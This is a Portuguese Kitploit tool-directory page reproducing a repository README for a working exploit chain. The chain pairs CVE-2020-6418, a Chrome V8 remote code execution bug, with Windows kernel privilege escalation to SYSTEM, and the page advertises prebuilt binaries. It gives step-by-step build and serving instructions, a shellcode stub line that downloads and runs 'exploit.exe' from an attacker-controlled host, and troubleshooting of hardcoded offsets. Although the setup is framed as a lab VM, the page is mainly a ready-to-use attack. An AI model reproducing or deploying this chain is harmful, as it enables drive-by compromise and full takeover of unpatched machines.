Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-6418 — Cadeia de exploit de estágio único para CVE-2020-6418 (RCE no Chrome) combinada com escalada de privilégios no Windows até SYSTEM, com scripts de compilação e binários pré-compilados. | Kitploit
Ferramentas/GitHubGitHub/a-mansilla/cve-2020-6418
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de PayloadsExploração de Binários
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Cadeia de exploit de estágio único para CVE-2020-6418 (RCE no Chrome) combinada com escalada de privilégios no Windows até SYSTEM, com scripts de compilação e binários pré-compilados.

Ver Repositório
há 8 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-6418: Chrome RCE encadeado com um escalonamento de privilégios no Windows

Este repositório contém uma cadeia de exploração funcional de estágio único para CVE-2020-6418 (uma falha de type confusion no compilador Turbofan do V8, que afeta o Google Chrome 80.0.3987.87 x64). Visitar uma página maliciosa com um Chrome vulnerável proporciona execução de código nativo dentro do processo renderer. A partir daí, o exploit baixa e executa um segundo binário que encadeia mais duas falhas (uma verificação de comprimento ausente em NtPowerInformation mais CVE-2021-31956, um estouro de pool em ntfs.sys) para ir de um processo sem privilégios até NT AUTHORITY\SYSTEM.

Tudo isso acontece com uma única visita à página, sem etapas manuais entre a falha do navegador e o shell de SYSTEM.

O crédito original pelo exploit do Chrome vai para Clement Lecigne (descoberta da falha, Google TAG) e Istvan Kurucsai / Vignesh S Rao (a prova de conceito original, depois distribuída como um módulo do Metasploit). Removemos as dependências do Metasploit e reconstruímos o mecanismo de entrega em torno de um downloader nativo, em vez de incorporar o payload na página. Detalhes em browser-exploit/README.md.

Estrutura do repositório

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

O que você precisa

Máquina do atacante (o "host"): qualquer Windows recente com Visual Studio 2019 ou 2022 (qualquer edição, Community serve, ou apenas as Build Tools), NASM e Python 3. É aqui que você compila tudo e serve a página do exploit.

Máquina alvo (a "VM"): ela precisa corresponder exatamente; o exploit depende de offsets fixos no código que só são válidos para esses builds específicos.

  • Windows 10 20H1, build 19041.264 x64. Verifique com winver ou [System.Environment]::OSVersion no PowerShell.
  • Google Chrome 80.0.3987.87 x64 (a falha foi corrigida no 80.0.3987.122, então precisa ser exatamente esse build ou um anterior vulnerável). Verifique com chrome://version.
  • Uma pasta C:\lab8 (pode estar vazia, só precisa existir).

Testamos isso em uma VM do VMware Workstation com um adaptador de rede host-only, mas qualquer configuração em que a VM consiga alcançar o host via HTTP funciona da mesma forma.

Início rápido

1. Compile tudo no host

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Antes da primeira compilação, abra browser-exploit\shellcode\download_and_run_stub.asm e edite estas duas linhas perto do final:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP é o endereço IP desta máquina visto pela VM (execute ipconfig na VM e verifique o adaptador de rede que corresponde à sua rede host-only ou NAT, ou simplesmente execute ipconfig no host e use o adaptador na mesma sub-rede da VM). destination_path deve corresponder ao local onde você quer que o binário do EoP seja gravado dentro da VM; o padrão é C:\lab8.

Depois de editar, remonte o stub e gere novamente o exploit.html (os dois comandos do passo 1, pulando a compilação do privilege-escalation, já que essa não depende do IP).

Se você não quiser mexer no arquivo de assembly para um teste rápido, prebuilt/ já tem uma cópia funcional com nosso IP de teste embutido. Ela só funcionará se a sua rede coincidir, então compilar sua própria cópia é o caminho confiável.

2. Sirva o exploit a partir do host

Coloque exploit.html e exploit.exe (o que foi compilado em privilege-escalation/) na mesma pasta e então:

root@kitploit:~
python -m http.server 8000

O exploit.exe precisa estar acessível exatamente na URL que você colocou em download_url acima, pois o stub nativo o busca diretamente, não por meio do navegador.

Uma observação rápida sobre o firewall do host: se a VM não conseguir alcançar a porta 8000, quase sempre é o Firewall do Windows Defender bloqueando a conexão de entrada em uma rede não classificada, ou uma regra remanescente bloqueando especificamente o python.exe (o Windows às vezes cria uma automaticamente na primeira vez que um aplicativo tenta aceitar uma conexão em uma rede não confiável). Verifique Get-NetFirewallRule -DisplayName "python.exe" em um PowerShell elevado se você encontrar esse problema.

3. Configure a VM

  • Confirme se o build do Windows e a versão do Chrome correspondem aos requisitos acima.

  • Crie C:\lab8 se ainda não existir (pode estar vazia).

  • Se for uma VM recém-criada que nunca passou por um ciclo real de inicialização, C:\Windows\bootstat.dat pode estar ausente ou vazio, e a falha do kernel precisa que ele exista com conteúdo válido. Se necessário:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Execute

Inicie o Chrome vulnerável com --no-sandbox (esta PoC não inclui uma fuga da sandbox, então o renderer precisa já estar sem sandbox para acessar o sistema de arquivos e criar processos) e aponte-o para a página:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Abra o DevTools (F12) e verifique a aba Console; o exploit registra seu progresso ali. Se tudo se encaixar, você deve ver a type confusion ser bem-sucedida, o stub baixar e iniciar o binário do EoP e, depois de alguns segundos, uma nova janela de console executando como NT AUTHORITY\SYSTEM.

Se algo der errado

  • O Chrome trava em vez de executar o exploit: quase sempre é uma incompatibilidade de build do Chrome. Os offsets em exploit_template.html (objleaker_offset, float_carw_elements_offset e os demais) são específicos do 80.0.3987.87 x64; eles não funcionarão em um build diferente, mesmo que seja apenas uma versão de patch de diferença.
  • O binário do EoP abre um console, mas nunca chega ao SYSTEM: mesma ideia; verifique se o build do Windows é exatamente 19041.264. Os offsets do kernel (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD e os vários offsets de EPROCESS/ETHREAD em privilege-escalation/exploit.c) estão codificados para esse build.
  • O stub de download parece não baixar nada: verifique novamente se download_url em download_and_run_stub.asm corresponde ao endereço e à porta em que o host está realmente servindo e se a VM consegue alcançá-lo (um simples curl http://YOUR_HOST_IP:8000/exploit.exe de dentro da VM é uma maneira rápida de confirmar a conectividade antes de culpar o exploit).

Mais detalhes sobre cada parte, incluindo por que ela é construída dessa forma, no README de cada pasta.

Baixar ferramenta